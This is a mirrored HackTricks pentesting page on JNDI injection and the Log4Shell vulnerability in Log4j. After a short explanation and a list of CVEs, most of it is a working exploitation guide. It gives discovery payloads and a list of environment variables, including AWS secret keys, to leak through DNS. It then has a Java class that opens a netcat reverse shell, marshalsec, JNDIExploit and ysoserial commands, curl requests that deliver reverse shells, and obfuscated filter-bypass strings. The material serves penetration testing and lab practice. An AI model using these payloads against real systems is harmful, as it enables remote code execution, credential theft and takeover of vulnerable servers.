1
2
Fork 0
mirror of https://github.com/carlospolop/hacktricks.git synced 2023-12-14 19:12:55 +01:00
hacktricks/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md
2021-12-26 01:35:57 +00:00

21 KiB
Raw Blame History

JNDI - Java Naming and Directory Interface & Log4Shell

Basic Information

JNDI has been present in Java since the late 1990s. It is a directory service that allows a Java program to find data (in the form of a Java object) through a directory. JNDI has a number of service provider interfaces (SPIs) that enable it to use a variety of directory services.

For example, SPIs exist for the CORBA COS (Common Object Service), the Java RMI (Remote Method Interface) Registry and LDAP.

A Java program can use JNDI and LDAP together to find a Java object containing data that it might need. For example, in the standard Java documentation theres an example **** that talks to an LDAP server to retrieve attributes from an object. It uses the URL ldap://localhost:389/o=JNDITutorial to find the JNDITutorial object from an LDAP server running on the same machine (localhost) on port 389 and goes on to read attributes from it.

However, this functionality not only allows to retrieve strings from a LDAP server but also Java Objects that will be executed.

{% hint style="danger" %} Therefore, if you can control the address where a Java Program is going to download a Java Object from, you can make it execute arbitrary code (RCE) {% endhint %}

Log4Shell Vulnerability

The vulnerability is introduced in Log4j because it supports a special syntax in the form ${prefix:name} where prefix is one of a number of different Lookups where name should be evaluated. For example, ${java:version} is the current running version of Java.

In LOG4J2-313 added a jndi Lookup as follows: “The JndiLookup allows variables to be retrieved via JNDI. By default the key will be prefixed with java:comp/env/, however if the key contains a ":" no prefix will be added.”

With a : present in the key, as in ${jndi:ldap://example.com/a} theres no prefix and the LDAP server is queried for the object. And these Lookups can be used in both the configuration of Log4j as well as when lines are logged.

Therefore, the only thing needed to get RCE a vulnerable version of Log4j processing information controlled by the user. And because this is a library widely used by Java applications to log information (Internet facing applications included) it was very common to have log4j logging for example HTTP headers received like the User-Agent. **** However, log4j is not used to log only HTTP information but any input and data the developer indicated.

CVEs

  • CVE-2021-44228 [Critical]: The original 'Log4Shell' vulnerability is an untrusted deserialization flaw. Rated critical in severity, this one scores a 10 on the CVSS scale and grants remote code execution (RCE) abilities to unauthenticated attackers, allowing complete system takeover.

    Reported by Chen Zhaojun of Alibaba Cloud Security Team to Apache on November 24th, CVE-2021-44228 impacts the default configurations of multiple Apache frameworks, including Apache Struts2, Apache Solr, Apache Druid, Apache Flink, and others.

    Being the most dangerous of them all, this vulnerability lurks in the log4j-core component, limited to 2.x versions: from 2.0-beta9 up to and including 2.14.1. A fix for Log4Shell was rolled out in version 2.15.0 but deemed incomplete (keep reading).

    Threat intel analyst Florian Roth shared Sigma rules [1, 2] that can be employed as one of the defenses.
  • CVE-2021-45046 **** [Critical, previously Low]: This one is a Denial of Service (DoS) flaw scoring a 3.7 9.0. The flaw arose as a result of an incomplete fix that went into 2.15.0 for CVE-2021-44228. While the fix applied to 2.15.0 did largely resolve the flaw, that wasn't quite the case for certain non-default configurations.

    Log4j 2.15.0 makes "a best-effort attempt" to **restrict JNDI LDAP lookups to **localhost by default. But, attackers who have control over the Thread Context Map (MDC) input data can craft malicious payloads via the JNDI Lookup patterns to cause DoS attacsk. This applies to non-default configurations in which a non-default Pattern Layout using either a Context Lookup, e.g. $${ctx:loginId}, or a Thread Context Map pattern (%X, %mdc, or %MDC).

    The bypass taken from this tweet was:
    Here is a PoC in how to bypass allowedLdapHost and allowedClasses checks in Log4J 2.15.0. to achieve RCE: ${jndi:ldap://127.0.0.1#evilhost.com:1389/a} and to bypass allowedClasses just choose a name for a class in the JDK. Deserialization will occur as usual.
    __
    __"Log4j 2.16.0 fixes this issue by removing support for message lookup patterns and disabling JNDI functionality by default," states the NVD advisory. For those on 2.12.1 branch, a fix was backported into 2.12.2.
  • CVE-2021-4104 [High]: Did we say Log4j 2.x versions were vulnerable? What about Log4j 1.x?

    While previously thought to be safe, Log4Shell found a way to lurk in the older Log4j too. Essentially, non-default configuration of Log4j 1.x instances using the JMSAppender class also become susceptible to the untrusted deserialization flaw.

    Although a less severe variant of CVE-2021-44228, nonetheless, this CVE impacts all versions of the log4j:log4j and org.apache.log4j:log4j components for which only 1.x releases exist. Because these are end-of-life versions, a fix for 1.x branch does not exist anywhere, and one should upgrade to log4j-core 2.17.0. (Apparently 1.0 isn't vulnerable).
  • CVE-2021-42550 [Moderate]: This is a vulnerability in the Logback logging framework. A successor to the Log4j 1.x library, Logback claims to pick up "where log4j 1.x leaves off."

    Up until last week, Logback also bragged that being "unrelated to log4j 2.x, [logback] does not share its vulnerabilities."

    That assumption quickly faded when CVE-2021-4104 was discovered to impact Log4j 1.x as well, and the possibility of potential impact to Logback was assessed. Newer Logback versions, 1.3.0-alpha11 and 1.2.9 addressing this less severe vulnerability have now been released.
  • CVE-2021-45105 [High]: Log4j 2.16.0 was found out to be vulnerable to a DoS flaw rated 'High' in severity. Apache has since released a log4j 2.17.0 version fixing the CVE. More details on this development are provided in BleepingComputer's latest report.

Exploitation

Discovery

This vulnerability is very easy to discover because it will send at least a DNS request to the address you indicate in your payload. Therefore, payloads like:

  • ${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} (using canarytokens.com)
  • ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} (using interactsh)
  • ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (using Burp Suite)
  • ${jndi:ldap://2j4ayo.dnslog.cn} (using dnslog)
  • ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520} using (using huntress)

Note that even if a DNS request is received that doesn't mean the application is exploitable (or even vulnerable), you will need to try to exploit it.

{% hint style="info" %} Remember that to exploit version 2.15 you need to add the localhost check bypass: ${jndi:ldap://127.0.0.1#...} {% endhint %}

Local Discovery

Search for local vulnerable versions of the library with:

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

Verification

Some of the platforms listed before will allow you to insert some variable data that will be logged when its requested.
This can be very useful for 2 things:

  • To verify the vulnerability
  • To exfiltrate information abusing the vulnerability

For example you could request something like:
or like ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} and if a DNS request is received with the value of the env variable, you know the application is vulnerable.

Other information you could try to leak:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

RCE Information

{% hint style="info" %} Hosts running on JDKs versions higher than 6u141, 7u131, 8u121 will be protected against the LDAP class loading vector BUT NOT the deserialisation vector. This is because com.sun.jndi.ldap.object.trustURLCodebase is disabled by default, hence JNDI cannot load remote codebase using LDAP. But we must stress deserialisation and variable leaks are still possible.
This means that to exploit the mentioned versions you will need to abuse some trusted gadget that exists on the java application (using ysoserial or JNDIExploit for example). But to exploit lower versions, you can make them load an execute arbitrary classes (which makes the attack easier).

For more information check https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/ {% endhint %}

RCE - Marshalsec with custom payload

This trick is entirely taken from the THM box: https://tryhackme.com/room/solar****

For this exploit the tool marshalsec (download a **** jar version from here) will be used to create a LDAP referral server to direct connections to our secondary HTTP server were the exploit will be served:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http:/<your_ip_http_server>:8000/#Exploit"

We want the victim to load the code that will send us a reverse shell, so you can create a java file called Exploit.java with the following content:

{% code title="" %}

public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

{% endcode %}

Create the class file executing: javac Exploit.java -source 8 -target 8 and then run a HTTP server in the same directory the class file was created: python3 -m http.server.
The LDAP server from marshalsec should be pointing this HTTP server.
Then, you can make the vulnerable web server execute the exploit class by sending a payload like:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

Please, note that if Java is not configured to load remote codebase using LDAP, this custom exploit wont work. In that case, you need to abuse a trusted class to execute arbitrary code.

RCE - JNDIExploit

{% hint style="info" %} Note that for some reason the author removed this project from github after the discovery of log4shell. You can find a cached version in https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 but if you want to respect the decision of the author use a different method to exploit this vuln.

Moreover, you cannot find the source code in wayback machine, so either analyse the source code, or execute the jar knowing that you don't know what you are executing. {% endhint %}

For this example you can just run this vulnerable web server to log4shell in port 8080: https://github.com/christophetd/log4shell-vulnerable-app (in the README you will find how to run it). This vulnerable app is logging with a vulnerable version of log4shell the content of the HTTP request header X-Api-Version.

Then, you can download the JNDIExploit jar file and execute it with:

wget wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

After reading the code just a couple of minutes, in com.feihong.ldap.LdapServer and com.feihong.ldap.HTTPServer you can see how the LDAP and HTTP servers are created. The LDAP server will understand what payload need to be served and will redirect the victim to the HTTP server, which will serve the exploit.
In com.feihong.ldap.gadgets you can find some specific gadgets that can be used to excute the desired action (potentially execute arbitrary code). And in com.feihong.ldap.template you can see the different template classes that will generate the exploits.

You can see all the available exploits with java -jar JNDIExploit-1.2-SNAPSHOT.jar -u. Some useful ones are:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

So, in our example, we already have that docker vulnerable app running. To attack it:

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

When sending the attacks you will see some output in the terminal where you executed JNDIExploit-1.2-SNAPSHOT.jar.

Remember to check java -jar JNDIExploit-1.2-SNAPSHOT.jar -u for other exploitation options. Moreover, in case you need it, you can change the port of the LDAP and HTTP servers.

RCE - JNDI-Exploit-Kit

In a similar way to the previous exploit, you can try to use JNDI-Exploit-Kit to exploit this vulnerability.
You can generate the URLs to send to the victim running:

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

This attack using a custom generated java object will work in labs like the THM solar room. However, this wont generally work (as by default Java is not configured to load remote codebase using LDAP) I think because its not abusing a trusted class to execute arbitrary code.

RCE - ysoserial & JNDI-Exploit-Kit

This option is really useful to attack Java versions configured to only trust specified classes and not everyone. Therefore, ysoserial will be used to generate serializations of trusted classes that can be used as gadgets to execute arbitrary code (the trusted class abused by ysoserial must be used by the victim java program in order for the exploit to work).

Using ysoserial or ysoserial-modified you can create the deserialization exploit that will be downloaded by JNDI:

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

Use JNDI-Exploit-Kit to generate JNDI links where the exploit will be waiting for connections from the vulnerable machines:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

Now you can easily use a generated JNDI link to exploit the vulnerability and obtain a reverse shell just sending to a vulnerable version of log4j: ${ldap://10.10.14.10:1389/qvrxbu}

Bypasses

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

Automatic Scanners

Labs to test

References